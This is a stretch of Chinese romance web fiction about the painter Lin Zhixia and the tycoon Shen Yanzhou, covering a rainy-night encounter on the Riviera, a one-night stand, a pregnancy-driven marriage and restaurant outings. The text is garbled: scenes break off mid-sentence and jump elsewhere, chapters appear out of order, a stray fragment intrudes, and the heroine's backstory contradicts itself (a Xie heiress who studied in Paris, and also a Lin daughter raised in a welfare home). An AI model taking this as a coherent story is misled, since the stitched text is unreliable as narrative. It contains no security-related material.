看着两人离开的背影,一旁的宾客不禁感慨道:“看来林小姐和沈少爷感情不错嘛。” “毕竟都是小年轻,更有共同话题,相处起来也更容易产生感情。话说回来,三爷这次回国,有要考虑婚事吗?” 问这话的人心里盘算着,如果沈三爷准备考虑婚事的话,不如试着撮合撮合他女儿。 他正想试探沈三爷的想法,结果却对上沈三爷毫无情绪的视线,不禁打了个寒颤,什么联姻顿时抛之脑后。 沈砚舟漫不经心地笑笑,笑意疏冷,不达眼底:“还不着急。” 远离了沈砚舟的视线范围后,林知夏总算是稍稍放松了些。 但后怕随之而来。 继续待在宴会厅这里也很危险,为了保险起见,她还是离这里远一点比较好。 她看向沈淮安:“淮安哥,我想要去趟洗手间。” “洗手间就在宴会厅外,出了那边的门就能看到。”沈淮安说。 林知夏点点头,临走前,余光不经意间扫过沈砚舟所在的方向。 他依旧被人众星捧月地簇拥着,只是表情疏冷,带着几分漫不经心。 她翘着足,坐在画凳上作画。偶尔在不经意间,画笔上的颜料不慎扫在裙子上,但她毫不在意。 一直画到次日八点,那不勒斯黄颜料都用空了,这才放下画笔。 看着面前的画作,林知夏微微愣神。 她不是不满意这画作,就是因为太过满意,所以才会胆战心惊。 黑白灰色块堆砌出浓重阴郁的雨夜,而白色的月光却宛如纤细的手指,克制地游走在男人的衬衫褶皱之间,勾勒出那修长完美的形体线条。 危险至极,却又令人怦然心动。这估计是一场圣让卡普费拉几年难遇的大暴雨。 大雨铺天盖地地瓢泼而下,霎时间整个世界都是朦胧一片。 “去哪?”身边的男人问她。 林知夏收回看向窗外的视线,报出旅店地址。 车子启动了。 豪车内隔音极好,完全听不到车外淅沥的雨声。气氛静谧,只有悠扬的钢琴曲在缓缓流淌。 林知夏拢了拢湿乎乎的裙角,然后就一直安静乖巧地坐着。 男人的车很干净,乌木香气中带着淡淡的烟草味。 这香气同他本人一样,给人一种带着涩感的张力。 林知夏忍不住悄悄打量着身旁的男人。 他正靠着椅背闭目养神,姿态慵懒,气质儒雅而贵气。 车内顶灯落在男人挺立的五官上,男人微微抬起的下颌线条优美利落,脖颈线条起伏突起间,给人一种禁欲的性感。 林知夏想起那幅被抢走的速写,不免感到惋惜。 想来那幅速写是找不回来了。 也不知道他能不能再给她当一次模特…… 正想着,突然男人睁开了眼,隔着镜片,他的目光落在她身上。 四目相对,林知夏微微一僵,细白的手指轻轻捏住裙角,脸上浮起淡淡的红晕,宛若油画上最惊心动魄的一笔色彩。 “那个……” 她深吸一口气,鼓起勇气开口:“我的速写丢了,能不能请您再当一次模特……” 男人眉梢微动,还没回复,发动机突然嗡一声,车猛地停了下来,打破了此刻的暧昧。 男人沉声:“怎么了?” 外籍保镖转头:“先生,前方路被淹了,车没法开过去。” 林知夏向窗外看去,车外暴雨如柱,勉强看到前方道路上一片汪洋。 她微微蹙眉,这种情况她该怎么回去? 男人:“绕路需要多久?” “开车的话大概还需要十分钟的路程,”保镖继续道:“但不知道其他路有没有被淹,毕竟那块区域的排水系统一向不太好。” 砚言,林知夏咬了咬唇,犹犹豫豫地看向男人,恰逢对上男人转过来的眼睛。 两人的目光在空中相撞。 男人的瞳色是极为纯粹的黑,如深潭般静谧,看得林知夏呼吸微微一滞。 她垂下纤侬的睫毛,犹犹豫豫地问:“……你住的酒店在哪儿,我去你哪里?” 气氛在一瞬间变得微妙起来。 男人微微挑眉。一夜暴雨如注,直至清晨,方才雨过放晴。 阳光透过厚重的窗帘缝隙间泄露进来,金色的光线爬过墙壁,直至蔓延至床脚。 “嗡嗡——” 安静的卧室内,手机铃声突然响起,将林知夏从睡梦中拉了起来。 睡意朦胧间,林知夏伸手摸过来手机。 是陌生的来电号码。 “你好。” 来电的是警局,说是昨日抢走她背包的小偷被抓住了,所有的东西都完好无损。 “你可真是幸运,一大早就看到那家伙被五花大绑地扔在警察局门口,也省的我们出警去抓了。”对方感叹道。 通话结束,林知夏也彻底醒了过来。 她扯着被子坐起身,茫然地看着眼前陌生的房间,半天才反应过来。 脑海中浮现出一幕幕少儿不宜的画面,羞得林知夏面红耳赤。 酒精与荷尔蒙退却,理智也占据了高地。 很难想象,激情之下,她居然真的和一个陌生男人发生了一/夜/情…… 林知夏指尖紧紧地捏着被角,打量着房间。 房间里静悄悄的,只有她一人,不远处的黑色沙发上整齐地摆放着两套衣服。 那暧昧的气味早已散尽,但她总感觉有一股若有似无的木质香萦绕在她的鼻尖。 见房间里没有男人的身影,林知夏松了口气,缓缓掀被。 掀开被子的刹那,林知夏整个人红得像是煮熟的甜虾。 身上密密麻麻的红色吻痕无声地昭示着昨夜的疯狂与激烈。 她面颊滚烫,下床,飞快走到沙发前。 沙发上的两套衣服,一套是陌生的女装,一套是她的裙子。 还挺贴心的…… 她拿起自己的裙子,快速地穿好。 换好衣服后,林知夏走到落地窗前,拉开窗帘。 湿咸的海风拂起她的长发。明媚的日光透过落地窗,肆无忌惮地落在室内。 暴雨过后,圣让卡普费拉的天空湛蓝如洗。 这里观景的角度极好,向着远方俯瞰,林知夏能看到在葱郁棕榈树的掩映下,泛着粼粼波光的地中海峡湾海面,以及海面上所浮着的白色游艇,如同碧色玉盘上散落着的珍珠。 只可惜自己现在没有画笔将它们记录在画纸上。 只好将它们拓印在记忆中,回去再默画出来好了。 在欣赏了一会美景之后,林知夏心情颇好地推开卧室门,就看到坐在小客厅沙发上,正吞云吐雾的男人。 他似乎是在这里等她。 与昨晚在床上的野蛮不同,此刻他已经恢复了初见时那般的好好绅士模样。 饱满的阳光洒进室内,罩着男人优越的身体轮廓,在他冷白色的皮肤上落下一道朦胧的辉光,贵气逼人。 他姿态慵懒地靠着沙发,叠着腿,衬衫最上方的两颗纽扣被解开,露出起伏的喉结线条。骨节分明的手指握持着雪茄,雪茄尾部猩红隐隐。 他微眯着眼,面颊微微凹陷,不紧不慢地吸了口。 吞云吐雾的模样性感而色气。 一瞬间,林知夏脑海中闪出一个词——斯文败类。 空气中,温雅干燥的乌木香与咖啡豆被烘烤的焦香混合,带来一种醇厚沉静的香气。 莫名地令人上瘾,就如同眼前的男人一样。 林知夏目不转睛地看着他,几乎是出于本能地想要将这一幕记录在速写本上。 好完美的人体……如果能画下来就好了…… 这是林知夏看过去的第一念头。 听到开门的动静,男人看了过来,目光漫不经心地锁定在她的脸上:“早上好。” 此时已经将近中午十一点,他这话多少有几点揶揄的成分在。 对上他那别有深意的目光,林知夏脸颊有些烫,脑海中止不住地闪过极为暧昧旖旎的画面,脚趾羞窘地蜷缩起来。 毕竟在色心和酒意的加持下,跟着陌生男人发生一/夜/情这种事她还是第一次做。 虽然有些冲动,但她并不后悔。 毕竟无论是从艺术审美上,还是在……体验上,男人都完美契合她的要求,令她满足。 只是她现在一看到他,便本能地感到紧张、尴尬,不知道该如何面对…… 林知夏压着心头的紧张,面上浮现出甜美动人的笑,“早上好啊,沈先生。” 沈砚舟随手熄灭雪茄,站起身:“早餐已经备好了。” 他的语调很沉,音色低醇温雅,缓缓厮磨着她的心弦。 恍然间,她似是又回到了昨晚他贴着她耳廓低喘的那一刻,脸颊耳垂不受控制地泛起绯色。 林知夏深吸一口气,卧蚕浮出浅浅的笑弧,佯装淡定道:“好啊,谢谢你。” 男人的视线在她那通红的耳尖稍作停留,唇角掠起愉悦的弧。 在意识到自己这话很容易引起误会后,林知夏脸颊有些热热的。 她跟他解释道:“我想和你住进同一家酒店,彼此还有个照应。” 她孤身一人身处异国他乡,又遭遇了抢劫这种事,现在受了惊吓,不太敢独自一人住在酒店。 此刻男人的华人身份在她眼中看来无比亲切。 不如,她索性和男人入住同一家酒店好了,彼此还有个照应。 顺便……她还可以找机会跟男人提一下再当模特的事…… 而且看看这位先生的谈吐风度,也不像是会把她卖了的人。 “我不住酒店,”男人半垂着眼眸,看向林知夏,给出了个意味深长的答案:“若是你担心一个人不安全,可以去我那里。” 两人对视着。 车内空气突然变得有些稀薄,属于暧昧的温度在彼此之间缓缓升温。 林知夏迟疑地看着他,试图从那古井般深沉的眸子中看出些什么。 车飞快地掠过几盏路灯,淡淡的光影在男人面上掠过。 男人的表情始终都是淡淡的。 这让人猜不出他心中所想。 林知夏咬了下唇,试探道:“你经常这样雪中送炭,你……对象知道吗?” 少女眼瞳微微瞪圆,表情严肃而认真。 男人低笑了声。 “我还是单身,更何况——”他拖长尾音,嗓音低醇惑人,“这样的雪中送炭,我是第一次做。” 都是成年人,这句话意味着什么,彼此都心知肚明。 他垂眸看她,视线无声地锁在她的脸上:“所以你要跟我走吗?” 车厢内寂静,林知夏呼吸凝滞,似是有看不见的潮水般将她淹没。 她垂下眼睫,脑海中再次浮现出那幅被抢走的速写,心中莫名地不甘心。 对方成熟斯文、端方温雅,极为契合她的审美……她不想就此与这位绅士别过。 这般想着,林知夏轻声道:“你如果介意的话,我也可以在别的酒店住一晚的。” 女孩没有明说,而是耍着欲擒故纵的小把戏,又将决定权回抛给他,像是根小羽毛般小心翼翼地试探着。 男人眉梢轻抬,对着前排司机道:“回去。” 来电铃声打碎了画室的寂静。 原是经纪人给她寄的跨国快递到了,只是没想到这快递沉得不行,总共用了好几个人才将快递搬进画室。 林知夏本以为这些快递是她在国外的油画。 没想到一打开就看到一套“Michael Harding”油画颜料,价值昂贵,素有“一克色粉一克金”“神级颜料”的称呼。 仅是白色便有八种,另外还有一些在现在市面上所购买不到的??绝版颜料,也都罗列于其中。 而装有颜料的??木盒更是为林知夏所专属定制的。 盒子上的纹路则是林知夏喜欢的鸢尾花,若是仔细观察,会发现“小鸢尾”这三个字恰如其分地融合在鸢尾花纹中。 而这样昂贵的颜料,林知夏在十七岁后的每年固定时间都会收到。 林知夏纤长的睫盯着半秒,给经纪人打去一通跨国电话。 此时正是法国凌晨两点,经纪人从睡梦中被电话铃捞了起来,不满抱怨:“Iris,大半夜给我打电话做什么” 熬了一晚夜作画,林知夏现在脑子里浑浑噩噩的。听经纪人这般抱怨后,才反应过来——法国现在是凌晨两点。 “不好意思,我收到油画颜料有些激动了,是Ethan先生送给我的,我怎么不知道” 经纪人一个激灵:“抱歉抱歉,你前脚刚去圣让卡普费拉,后脚Ethan先生就给你送来了这箱颜料。我原本想等你回巴黎后交给你,没想到你直接从尼斯飞回国了。唉,后面我现在私事缠身,给你把颜料寄过去后,就忘了告诉你。” “这倒没关系了。”林知夏说:“挂了,我不打扰你了。” “先别挂!”经纪人说:“我前不久在慈善画展上遇到了你的老师伯劳特先生,他还想我询问过你现在怎么样。” 经纪人彻底没了睡意:也不顾现在是巴黎时间凌晨两点,絮絮叨叨地吐槽: “我说你啊,真不再考虑一下你说你现在在国外是多好的发展形势啊,一幅画卖出去五千万,彻底在巴黎艺术圈打响名号,这可是多少年轻画家都做不到的事啊。你倒好,不趁着热度公开露面,反而直接放弃这一切,跑国内发展去了。” 经纪人越说越是痛心疾首。 林知夏轻轻笑了笑:“一方面我还是想要多陪陪外公,而另一方面我始终觉得在巴黎终归是异地他乡,还是想要落叶归根,找到归属感。” 这也是她选择回国的考量之一。 听林知夏这么说,经纪人也只能叹气:“行了,我这边私事快解决了,很快就过去了。” 和经纪人挂断电话后,点开了“whatsup”。 与Ethan先生的聊天记录还停留在半个多月前:她将回国消息告知对方。 林知夏十七岁那年卖出了人生中第一幅油画,而卖主正是Ethan先生。 当时她虽身为谢家大小姐,但却狼狈落魄到油画颜料都买不起。 直至后来,她求助于京北市内一家三流画廊,委托其代为销售一幅油画。本来她也没有奢望能卖出高价,只求所得收益能够勉强购买油画所需材料。 不成想,机缘巧合下,一位来华的外国绅士看中了她的油画,以十万的价格买下它。 这事之后,林知夏特地给Ethan先生的助理发了一封邮件,感谢Ethan先生资助她这个连油画颜料都买不起的穷画家。 没想到Ethan先生会直接和她邮件联系,更是在每年的固定时间送她专属的顶级油画颜料,作为对于优秀画家的资助。 此后,林知夏在外公帮助下逃出谢家,前去巴黎留学。 渐渐地有更多的人注意到她的画,成为油画的买家。 但对她的画作最专情的买家,只有Ethan先生。 后来,林知夏深知对方是位日理万机的大人物,虽有他的联系方式,但不会将生活中的琐事与对方说。只是见对方喜欢她的画作,便偶尔会将自己的草稿、成品发给他看。 对方点评,短短几句,却彰显出极高的艺术涵养。 只不过近期林知夏被琐事缠身,画得作品也总是少了点味道,也不好意思发给对方看。 第 36 章 第三十六章 沈砚舟被她这孩子气的话逗得想笑,可面上却还是一副冷淡表情。 “不盯着你就不好好吃饭是不是?” 林知夏莫名有一种上学时被老师教训的感觉。 她不自觉的微微站直,哼唧了一声,“刚刚不说不会凶我吗?” 沈砚舟一顿,脸上的冷漠有些绷不住。 他无奈,“这也算凶吗?” “今天我让人把你公司附近的一处公寓收拾出来了,明天中午去那儿吃饭,离的很近,吃完饭你还能休息一会儿。” 林知夏好奇的看了他一眼,“沈砚舟,你到底有多少房子。” 沈砚舟轻笑了一声,“想知道?我让高成统计好汇总拿一份给你看。” 林知夏一愣,“给我看做什么?” “你挑挑你喜欢的,送给你。” 男人说的轻描淡写,千万的房产在他眼里好像和玻璃珠一样廉价。 林知夏沉默了一瞬,脸上的神色淡了一些。 “我不要。”她说,“沈砚舟,我和你结婚,是为了孩子。” 不是为了那些乱七八糟的。 男人皱了一下眉头,沈唇微抿。 一时间,两个人谁也没再说话,空气仿佛凝固了。 “咚咚咚——”恰在此时有人敲门。 沈砚舟冷声,“进。” 高成抱着一堆文件走进来,刚走两步,似乎察觉到什么,顿了一下,“沈总,这些是要签字的文件。” 林知夏抿了一下唇,“我去休息室。” 少女正要转身走,却被沈砚舟拽了一下手腕,男人强硬的把她按到沙发上坐下,“就在这儿等我。” 似乎察觉到语气的生硬,沈砚舟缓和了一下,补充道,“很快,听话。” 林知夏犹豫了一下,到底是点了一下头。 沈砚舟办公室的沙发宽大而柔软,上面整洁的要命,林知夏估计平时压根也不会有人坐在这里。 来汇报的下属一个个站的笔直跟军训似的,而沈砚舟呢—— 林知夏下意识抬眸看了一眼,男人已经坐在办公桌后处理文件,正襟危坐,鼻梁上不知道什么时候架了一副金丝眼镜,看着矜贵清冷。 第一次见男人处理工作的样子,与平时大相径庭。 男人不笑的时候看着很冷,偶尔看到错处,还会微微沉下脸。 可林知夏竟然莫名觉得,沈砚舟冷着脸的样子……还挺帅的。 在心里默默唾弃了自己一番,林知夏赶紧垂下眼,不敢再多看。 她把带回来的那些文件拿出来看,拿着笔圈圈画画。 没过多久,沈砚舟很快的处理好了手头的工作。 他一手摘下眼镜,捏了一下鼻梁,同时抬眼朝林知夏的方向看过去。 小姑娘是个没记性的,怎么说也不听。在沙发上歪着看资料,半个身子躺着,小腿微微抬高蹬在扶手那里。 离得那么近,眼睛不会看坏么?这个姿势不会腰疼吗? 沈砚舟忍了忍,还是没忍住起身走过去。 林知夏正看的百无聊赖,突然感觉面前一道阴影投来,她抬起头,便看到男人站定在自己面前。 “坐好。”沈砚舟皱着眉头。 林知夏八百年不冒头的小性子被勾起来。 她鼓了一下嘴,“你总管着我干嘛?” 沈砚舟眸色暗了一下,干脆直接伸出手去。 林知夏瞪圆眼睛,“你干嘛——” 男人的大手按在林知夏的腰间,微微揉捏,顿了顿,他有些无奈的开口,“医生说孕期对腰椎有影响,月份小不注意,等后期就该难受了。” 听到男人的话,林知夏有点不好意思起来,“我以后会注意。” 沈砚舟给她揉着腰,隔着一层沈沈的衣料,掌心灼热的温度分毫不减的传来。她微微一抬眼,就能看到男人垂下的眸子,林知夏后知后觉的意识到,他们这样好像有些太亲密了。 “我饿了。”林知夏往后躲了一下,尴尬的转移话题。 沈砚舟停顿了一下,自然的收回手,“去吃饭吧,餐厅已经定好了。” 林知夏眨了一下眼,“不回去吃吗?” 沈砚舟含笑,“带你去改善伙食。” 林知夏腹诽。 那伙食还需要改善吗? 她站起身,把手里的资料随意塞进包里,正要拎起来的时候,却被男人十分自然的接了过来。 “给我拿吧。”林知夏小声说,“出去被人看见了挺不好的。” 沈砚舟西装革履,一副矜贵模样,手里却拎着一个粉红色的mini包,看起来有些好笑。 男人淡淡,“没什么不好的,走吧。” 他的另一只手去牵住了林知夏。 这次没有司机,是沈砚舟亲自开车的,路上,男人开口解释,“这家餐厅是我一个朋友开的,他性格有些跳脱,说话放肆,你不用搭理他就行。” 林知夏还有些诧异,“你朋友?” 沈砚舟点了一下头,想了一下,问她,“知道西城地产吗?” 林知夏猛的点头,“当然知道,地产界的南波万!” 沈砚舟被她话惹的笑了一下。 “是。”他勾了一下唇角,“他家的。” 看着林知夏微微睁大的眼睛,沈砚舟解释,“他被他父亲强压着去学了金融,谁知道回国后没接手公司,转头去开起了餐厅,在圈子里也算是传奇人物。” 林知夏眨了眨眼,忽而问道,“那你呢?” “我?”沈砚舟一挑眉。 林知夏好奇的问,“你有没有什么离经叛道的事?” 男人侧头看了林知夏一眼,淡淡,“我没有。” 沈砚舟的人生像是早就设定好的编程,从小是贵族教育,除了基本的课程外,他的时间也都被其他的教程排满了,而后出国留学,继承家业,一步步到今天,都是按部就班。 除了—— 沈砚舟按着方向盘的手微微用力。 除了那晚碰到林知夏。 那是他人生中唯一一次“意外”。 餐厅的位置有些难找,七拐八拐的,看起来像是在郊区,左邻右舍都是黑漆漆的。 林知夏语气透着怀疑,“这里会有人吃饭吗?” “餐厅不对外开放,他只邀请朋友过来。” 林知夏了然的点点头。 富二代是这样的。 跟着沈砚舟走进去,才发觉和外面的荒凉不同,里面才是别有洞天。 院中有一个小池塘,被月光一晃,波光粼粼的好看,中央铺了石子路,可以从水上走过去。 林知夏赞叹,“这里好漂亮。” “谢谢夸奖。”一道含笑的男声传过来。 林知夏吓了一跳,一抬头才看见不远处树下站了一人,因为夜色太黑,刚刚竟都没有看见。 “你好,林东。” 林知夏赶紧报了自己的名字。 “不容易啊,难得见沈砚舟领人过来。”林东啧啧称奇,目光一直在林知夏身上打转。 沈砚舟不轻不重的瞥了林东一眼,“快点上菜,饿了。” “诶——你真拿我这儿当饭店了。” 沈砚舟扯了一下嘴角,“不是么。” 他懒得再和林东扯,林知夏本来中午也没吃什么,他怕真把人饿到。摆了一下手,就带着林知夏走过池塘进去包厢。 把林东在身后气的鼻子都歪了。 两人才刚进包厢坐好,就有服务生进来上菜。 “他这里不用点菜,每天菜品都不一样,按他自己心情来。” 林知夏了然的点点头,开盲盒呗就是。 但不得不说,这里的菜做的确实好吃,更也许是林知夏真的饿了,胃口竟然不错,自己一个人就吃了小半盘的清蒸鱼。 沈砚舟拨了虾放到她碗里,“你要是喜欢,我们常来吃。” 正巧这个时候林东推门进来。 一看到屋子里的场景,惊的都愣住了。 啧啧,这还是沈砚舟么。 在他们一众圈子里,沈砚舟是财权最顶级的,更是一众人的巴结对象。林东虽然和他们不同,他不会刻意讨好巴结沈砚舟,但在心里,也忍不住把沈砚舟的地位抬的高高的。 可此刻,瞧见那个平时冷淡高贵的男人带着手套剥着虾,挑着鱼刺,把旁边人伺候的妥妥帖帖的。 林东惊的险些以为是自己看错了。 “有事?”沈砚舟瞥了他一眼。 林东咳嗽了一声,把手里的托盘放下,“甜品。” 林知夏立刻被吸引了目光。 小盘子上是一块精致的草莓蛋糕,奶油裹了几层,上面洒了糖粉。 她叉了一块塞进嘴里,立刻点点头,“好吃。” 沈砚舟目光柔和一些,拿着纸巾给林知夏擦了一下嘴角的糖粉。 林东在旁边看着,恨不得两个眼珠子都黏上去。 调包了吧。 这人能是沈砚舟?!! 吃了饭要走的时候,林东终于忍不住,把人沈砚舟拽到一边,“你怎么回事,把人领过来也没提前说,哪家大小姐啊,值得你宠的跟小祖宗似的。” “哪家的?”沈砚舟淡淡一笑,“我家的。” “你——”林知夏拿着新鲜出炉的策划案去了何总办公室,在门口深呼吸一口气才敲门进去。 “何总。” 林知夏把策划案放到她桌上。 何总抬眸瞥了一眼林知夏,本来面色冷淡,拿起来随手翻了翻,估计是以为这么仓促,林知夏只是随便写写来应付了事。 却没想到在翻了几页后,何总神色一点点认真下来,拿着策划案,从头到尾认真的看了一遍。 林知夏在旁边等着,一开始还有些紧张,到后来就只剩下百无聊赖,以及站的腿好酸。 中午要不要叫林洁一起回去吃呢…… 正在她漫无边际的出神的时候,突然听见何总沉声开口,“这是你写的?” 林知夏点点头。 同时也在心里嘀咕,当然还有沈总的助力。 何总脸上看不出什么表情,只是捏着策划案的手微微攥紧,“很不错,你先回去吧。” 林知夏一怔,“是……通过了吗?” 何总静静的看了她几秒,一向古板的脸上突然露出笑意,“当然,你写的非常不错,这份策划案我会往上递交,如果有别的消息,到时候会通知你。” 林知夏走出何总办公室的时候还有些飘飘忽忽。 居然真的顺利通过了。 不是说这份策划案递到何总手里已经被毙了十多版了么。 虽然这份是沈砚舟手把手教她改过的,她自然是胸有成竹,但真的这么轻松通过的时候,林知夏还是有些飘飘然。 她入职以来一直是做一些打下手的零活,这是第一次自己完成一项工作,难耐不住心底的雀跃,林知夏跑到楼梯间给沈砚舟打了电话。 周一上午,沈氏集团总部所有高管照常例会。 所有人在起身发言报告近期工作情况时,都忍不住抬头去看那个坐在长桌主位的男人,但沈砚舟一直面色平淡,连只言片语都未曾有,这反而更让人心惊胆战。 门被推开,正在发言的高管戛然而止。 高成快步走进来,将手机递给沈砚舟。S市大概没有不认识沈砚舟的吧。 沈氏集团是S市商圈最不可媲美的存在,沈砚舟更是最年轻的沈家家主,当初继任沈家堪称是血雨腥风,几个叔伯挣得头破血流,最后谁也没料到是沈砚舟登上那个位置。 那段时间,电视新闻报纸,十个有八个都是报道这件事。 都说沈砚舟性格阴冷,手腕狠厉,可今天怎么感觉,他是个……蛮随和的人? 林知夏摇了摇头,把天马行空的想法甩出脑外。 算了,反正只是一个误会,他们以后也不会再有交集。 没等多久,果真按照沈砚舟说的,助理给她送来了衣服和早餐,大概是不知道她爱吃什么,中式西式各来了一套,摆的满满一桌子都是。 至于沙发上放着的几个高档品牌购物袋,不用猜也知道价格不菲。 林知夏皱了一下眉,心里有些不舒服。 虽然她和沈砚舟地位悬殊,但昨晚的事你情我愿的,谁也不吃亏,沈砚舟也不欠她的,她根本不需要什么事后补偿。 她随便吃了两口,从一堆购物袋中选了一件看起来最普通的白色裙子换上,其余的动也没动,拎着包就出门了。 至于沈砚舟的名片,早就被她随手扔到了包包的角落里。 打车回林家的时候已经快到中午了。 一进门,就看到在客厅的韩玫,林知夏暗叫不好,果不其然下一秒呵斥声就响起。 “昨晚让你回来,你把我的话都当耳旁风了?你妹妹的生日宴,你就这么不放在眼里?” 林知夏眼底闪过一丝讽刺。 妹妹?她哪里有什么妹妹。 林知夏从小到大都是在县城的福利院长大,高中来S市参加竞赛,才意外的被林家找到。 原来她是小时候走丢了的林家千金。 她满心欢喜的回到林家,本以为迎接她的是幸福美满的家庭。可是并没有,父母弟弟都嫌弃她出身福利院,不会礼仪做派,不会钢琴舞蹈,就像个格格不入的丑小鸭。 而那个她所谓的妹妹——林月。 是在她走丢后,为了安慰韩玫,领养的女儿,反而一跃成为了最受宠爱的林家千金。 真真假假,有的时候反而不那么重要了。 “姐姐,你是有事才不能来的吗?”一道轻柔的声音在身后响起。 林知夏转身,看到林月不知道什么时候走过来,就站在楼梯口,担忧的看着自己,“如果姐姐是有事……” “没事。”林知夏出口打断她的话,“就是不小心忘了。” 一瞬间,林月的脸色有些发白,死死的咬了一下唇。 “林知夏!”韩玫尖锐的声音响起,“你太过分了!” 林知夏嘲弄了勾了一下唇角,转身头也不回的上了楼,在与林月擦身而过的时候,还不轻不重的撞了一下林月的肩膀。 “嘭” 房门被重重关上,隔绝了外面的一切声音。 韩玫呵斥自己的,低声安慰林月的…… 一切都如魔音绕耳,让林知夏反胃恶心。 她随手拿起旁边的手机,看了一下银行卡的余额,转了一千块给林洁发了过去。 沈砚舟看了一眼来电显示,飞快拿着手机起身出去。 而高成则看向众人,淡淡道,“会议继续。” 电话被接通,少女娇俏的声音顺着话筒传来,“沈砚舟,你在忙吗?怎么这么久才接电话。” 沈砚舟脸上的冷淡消退,眉目瞬间柔和下来,他禁不住哄人,“对不起,刚刚手机在高成那里放着。没有在忙,你呢?你不是不准我在工作的时候打扰你吗?” 林知夏在心底小小反思了一下到底有没有说过这么冷漠无情的话,随即又忍不住汇报好消息,“我的策划案通过了。” 刚刚会上冷淡的一言不发的男人此刻毫不吝啬的夸赞,“真棒,林知夏,你看,你可以做的到的,并且可以做的很好的。” 林知夏被夸的耳朵有点红,抿着唇有点不好意思,“都是你帮我啦,不然我也不可能完成,沈砚舟,你好棒厉害哦。” 男人撑不住的笑了一声。 林知夏突然发觉,好像相比于男人说话时,低声的笑意更勾她的心,明明隔着手机,可林知夏却觉得男人好像凑近在她的耳边,热气烘着她的耳朵,连声音都干净磁性。 心跳像是漏了一拍。 林知夏微微捏紧手机,有些慌乱的开口,“不说了,我还有工作要忙,先挂了。” 紧接着飞速挂断,一气呵成。 楼梯间里,林知夏脊背抵着墙壁,她慢吞吞的伸出手按着胸口的位置。 “嘭嘭嘭——” 沉默中的心跳震耳欲聋。 林知夏没想到下午的时候沈砚舟会来接她下班。 她还好奇的问,“你怎么从来不加班?” 沈砚舟盯着她看,没忍住掐了一下她脸上的软肉,“老板也要加班吗?” “痛!” 男人松了松手,明明没有用力,却还是在白嫩的肌肤上留下了指痕。 啧。 沈砚舟眯了眯眼。 娇气。 他心里这样想,嘴里却还是哄着人,“不是策划案通过了吗?给你庆祝一下好不好?” 林知夏立刻来了精神,“还去那家餐厅吃吗?” 沈砚舟一顿,有些无奈道,“不是去吃饭,是在家里,给你准备了惊喜。” 惊喜? 林知夏眼睛瞪得圆圆的,亮晶晶的。 别说惊喜,从小到大,她好像连礼物都很少收到。 林知夏总觉得,她所缺失的那些东西,沈砚舟正在慢慢的,一点点的给她补回来。 一路上,期待值一点点达到顶峰,车子才刚一开进别墅,林知夏就忍不住跳下车想往屋里跑,被男人眼疾手快的拽住。 “说了多少次了,走路要慢一点。” “好好好,知道了记住了。”林知夏催促着沈砚舟,“你快一点。” “过两天帮我送一下餐,我瞧着她今天挺爱吃的。” 林东气急,“你当我这儿小餐馆呢,不做外卖!” 沈砚舟淡淡抽出一张卡放到桌子上。 “听说你爸又把你卡停了逼着你相亲呢。” 林东憋了憋,“靠,财大气粗啊。” 沈砚舟轻轻一笑,没再多说其他的。 送林知夏回去的时候,男人格外提醒了一句,“林知夏,还有一天。” 林知夏一听这话,连刚刚吃美食的好心情都没有了,有些恹恹。 她这幅样子自然落到男人眼里。 沈砚舟淡淡问,“怎么?这么不想搬过来跟我住?” “不是。”林知夏纠结道,“就是没想好怎么和林洁说。” 说她闪婚了,还是说她有了一个孩子。无论哪种,都有够让人惊吓的吧。 她轻轻呼了一口气,拎着包下了车。 “明早来接你。”沈砚舟说。 林知夏点点头,“拜拜哦!” 沈砚舟弯了一下唇角,学着林知夏的话,“拜拜。” 林知夏回去后一开门,竟发现屋里一片漆黑,林洁这是还没回来呢。 她正准备问问,没想到林洁的电话也刚巧打过来。 “林知夏!林湖救急!!” “怎么了?”林知夏吓了一跳。 林洁声音压低了一些,“你还记不记得那天去酒吧,我……我当时加了一个帅哥的微信,这两天聊的挺好的,他今天叫我出来玩,我也没多想,谁成想……” 说到最后,林洁声音都带了一丝哭腔,“他是个酒托。” 林知夏眉头一跳,“你现在在哪呢?” “在一家酒吧里,我钱不够,他们不让我走。”林洁声音带着哀求,“林知夏,你能不能来找我,我害怕。” 林知夏抿了一下唇,迟疑了几秒,最终答应下来。 她倒不是一时冲动,而是长这么大,她只有一个林洁一个朋友,之前在学校的时候,林洁去打工,总不忘也带着林知夏。 她总不能在这个时候抛下朋友。 林知夏打了个出租车直达酒吧门口。 不比之前去的“夜色”,这家酒吧店门看起来很小,只有牌匾下挂着五颜六色的彩灯。 手机振动,林知夏以为是林洁等不及了,掏出来看了一眼才发现是沈砚舟发过来信息。 第 37 章 第三十七章 察觉到林知夏的动作,旁边的林洁忙低低的咳嗽一声,暗中给林知夏使了个颜色。 千万别这个时候出差错啊。 林知夏暗自深呼吸一口气,勉强稳定心神,暗暗站好。 男人一路从自己面前走过。 想来也是,那么多人的拥簇,她只是站在了一个不经意的角落,沈砚舟怎么会注意到一个小小的礼仪呢。 这边林知夏刚刚松口气,另一头沈砚舟却顿住了一下脚步。 周围的人见状也忙都停下来。 沈砚舟抬眸,隔着人群,似乎往角落里瞥了一眼。 旁边的人不明所以也不敢吭声。 隔了几秒,男人收回目光,淡漠的神色似乎有一瞬间的缓和,而后又重新抬脚往前走,刚刚的一切不过是个不起眼的小插曲。 林知夏和林洁的位置比较偏僻,基本入场后就没什么人路过这里,两个人不用倒酒,多少能轻松些。 林知夏穿不惯高跟鞋,站了没一会儿就觉得两个脚生疼,小腿也酸胀,她只能微微两个脚轮换着抬一下,偷个懒。 眼见着领班朝这个方向走过来。 林知夏连忙双腿笔直的站好。 “林知夏。”林知夏扔下收拾一半的残局,打了个车赶到沈氏。 市中心内一整片的办公楼都是沈氏的企业,最中心的主楼,就是沈氏集团最核心所在。 林知夏刚下车,一顶遮阳伞就挡在了头顶。 她一抬头,正看见面带笑容的高成,“林小姐。” 林知夏赶紧道,“高秘书,还麻烦你特意下来一趟。” 她说着把手里的袋子递过去,“抱歉,我真不知道这个衬衫这么名贵,能不能麻烦你帮我带给沈总。” 高成微笑了一下,“林小姐,我带您上去。” 林知夏,“……” 没办法,她只能硬着头皮跟在高成身后一路走了进去。 一楼公司大堂人不少,等候区更是坐满了西装革履的人,林知夏忍不住多看了两眼。 这可是沈氏总部啊,得什么样的人才能在这儿上班。 “林小姐,这边。” 林知夏回过神,忙跟过去,“好,来了。” 等两个人一前一后进了电梯,前台小姐才收回灼热的视线,八卦之魂蠢蠢欲动。 天啊,这是什么皇亲国戚,居然是总秘亲自下来接人。要知道,高成可是沈砚舟的贴身秘书,许多一流公司的总裁都不一定能约见一面。 